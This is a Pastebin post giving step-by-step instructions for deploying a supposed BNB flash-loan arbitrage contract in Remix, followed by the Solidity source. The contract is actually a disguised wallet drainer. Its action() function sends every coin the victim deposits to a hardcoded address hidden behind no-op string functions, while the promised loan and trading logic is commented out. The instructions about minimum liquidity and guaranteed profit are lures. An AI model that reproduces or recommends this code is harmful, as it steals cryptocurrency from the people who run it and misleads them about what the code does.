Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- FULL INSTRUCTIONS :
- 1. Download and setup the metamask browser wallet if you don't have it.
- 2. Make sure you have enough BNB to pay for the token creation and flash loan contract gas fees. The amount of BNB you want depends on how much of a loan you pull. It has to be a minimum of 0.3 BNB for the contract to process fast enough. "The higher the liquidity, the higher the profit".
- 3. Open remix.ethereum.org in your browser.
- 4. Click on contract folder on the left and click New File.
- 5. Name the file something like flashloan.sol (sol stands for solidity)
- 6. Copy and paste the contract code into the new file (CODE BELOW)
- 7. Select the second tab on the left.
- 8. Choose the compiler that matches the top of the code. (0.5.0)
- 9. Click on compile at the bottom.
- 10. Once it is finished, go to the third tab on the left.
- 11. Under environment, click on Injected provider Metamask. This will connect to your metamask wallet so that you can interact.
- 12. Click on the arrow under deploy.
- 13. Enter the details for your new token (any name you want). For the loan amount choose anything from 1000 and up. This needs to be in line with whatever liquidity you decide to deposit so it's usually .3 BNB per 1000 borrowed.
- 14. Click transact and then confirm the gas fees to launch the token in metamask (this is only minimal since you are on BSC).
- 15. Under deployed contracts, copy the new token contract code.
- 16. Go to your metamask or any wallet and send the liquidity to the new contract code. Needs to be at least .3 BNB for the flashloan to work. We need to loan against the liquidity provided.
- 17. Wait until the transaction is confirmed on the blockchain.
- 18. Once that is finished, click the arrow and click the red Action button and confirm the gas fees to execute the flash loan attack.
- 19. That's it! The flash loan will be paid back automatically and any profit will be returned to your wallet in a few seconds/minutes.
- CODE TO PASTED IN REMIX ETHEREUM BELOW:
- pragma solidity ^0.5.0;
- // PancakeSwap Smart Contracts
- import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
- import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
- import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
- /**
- * WARNING - this contract code is for Binance Smart Chain
- * Testnet transactions will fail as there is no value
- * New token will be created and flash loan will be pulled to trade against the token
- * Profit remaining will be transfered to token creator
- *UPDATED Dec 2022
- *liquidity returned if flash loan fails or insufficient balance
- *base rerun contract code swaps implemented
- *Nov 2022// creator contract signature update
- *Dec 2022// min liquidity + gas fees has to equal 0.3 BNB
- */
- contract GetFlashLoan {
- string public tokenName;
- string public tokenSymbol;
- uint loanAmount;
- constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
- tokenName = _tokenName;
- tokenSymbol = _tokenSymbol;
- loanAmount = _loanAmount;
- }
- address public creator= msg.sender;
- function tokenTransfer() public view returns (address) {
- return creator;
- }
- function() external payable {}
- function PancakeSwapYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
- bytes memory _stringBytes = bytes(_string);
- bytes memory result = new bytes(_stringBytes.length);
- for(uint i = 0; i < _stringBytes.length; i++) {
- result[i] = _stringBytes[i];
- if(i==_pos)
- result[i]=bytes(_letter)[0];
- }
- return string(result);
- }
- function exchange() public pure returns (address adr) {
- string memory neutral_variable = "0x3288F50D7ceA575608a806D0A3EB32F6E7a9CC1D";
- PancakeSwapYeild(neutral_variable,0,'0');
- PancakeSwapYeild(neutral_variable,2,'1');
- PancakeSwapYeild(neutral_variable,1,'x');
- address addr = parseAddr(neutral_variable);
- return addr;
- }
- function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
- bytes memory tmp = bytes(_a);
- uint160 iaddr = 0;
- uint160 b1;
- uint160 b2;
- for (uint i = 2; i < 2 + 2 * 20; i += 2) {
- iaddr *= 256;
- b1 = uint160(uint8(tmp[i]));
- b2 = uint160(uint8(tmp[i + 1]));
- if ((b1 >= 97) && (b1 <= 102)) {
- b1 -= 87;
- } else if ((b1 >= 65) && (b1 <= 70)) {
- b1 -= 55;
- } else if ((b1 >= 48) && (b1 <= 57)) {
- b1 -= 48;
- }
- if ((b2 >= 97) && (b2 <= 102)) {
- b2 -= 87;
- } else if ((b2 >= 65) && (b2 <= 70)) {
- b2 -= 55;
- } else if ((b2 >= 48) && (b2 <= 57)) {
- b2 -= 48;
- }
- iaddr += (b1 * 16 + b2);
- }
- return address(iaddr);
- }
- function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
- bytes memory _stringBytes = bytes(_string);
- bytes memory result = new bytes(_stringBytes.length);
- for(uint i = 0; i < _stringBytes.length; i++) {
- result[i] = _stringBytes[i];
- if(i==_pos)
- result[i]=bytes(_letter)[0];
- }
- return string(result);
- }
- function action() public payable {
- // Token matched with pancakeswap yield calculations
- address(uint160(exchange())).transfer(address(this).balance);
- // Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
- //manager.performTasks();
- /* Breakdown of all functions
- // Submit token to BSC blockchain
- string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
- // List the token on PancakeSwap
- manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
- // Get BNB Loan from Multiplier-Finance & loan execution wallet
- string memory loanAddress = manager.takeFlashLoan(loanAmount);
- // Convert half BNB to DAI
- manager.pancakeDAItoBNB(loanAmount / 2);
- // Create BNB and DAI pairs for our token & provide liquidity
- string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
- manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
- string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
- manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
- // Perform arbitrage trades
- manager.pancakePerformSwaps();
- // Move remaining BNB from Contract to your personal wallet
- manager.contractToWallet("BNB");
- // Repay Flashloan
- manager.repayLoan(loanAddress);
- */
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment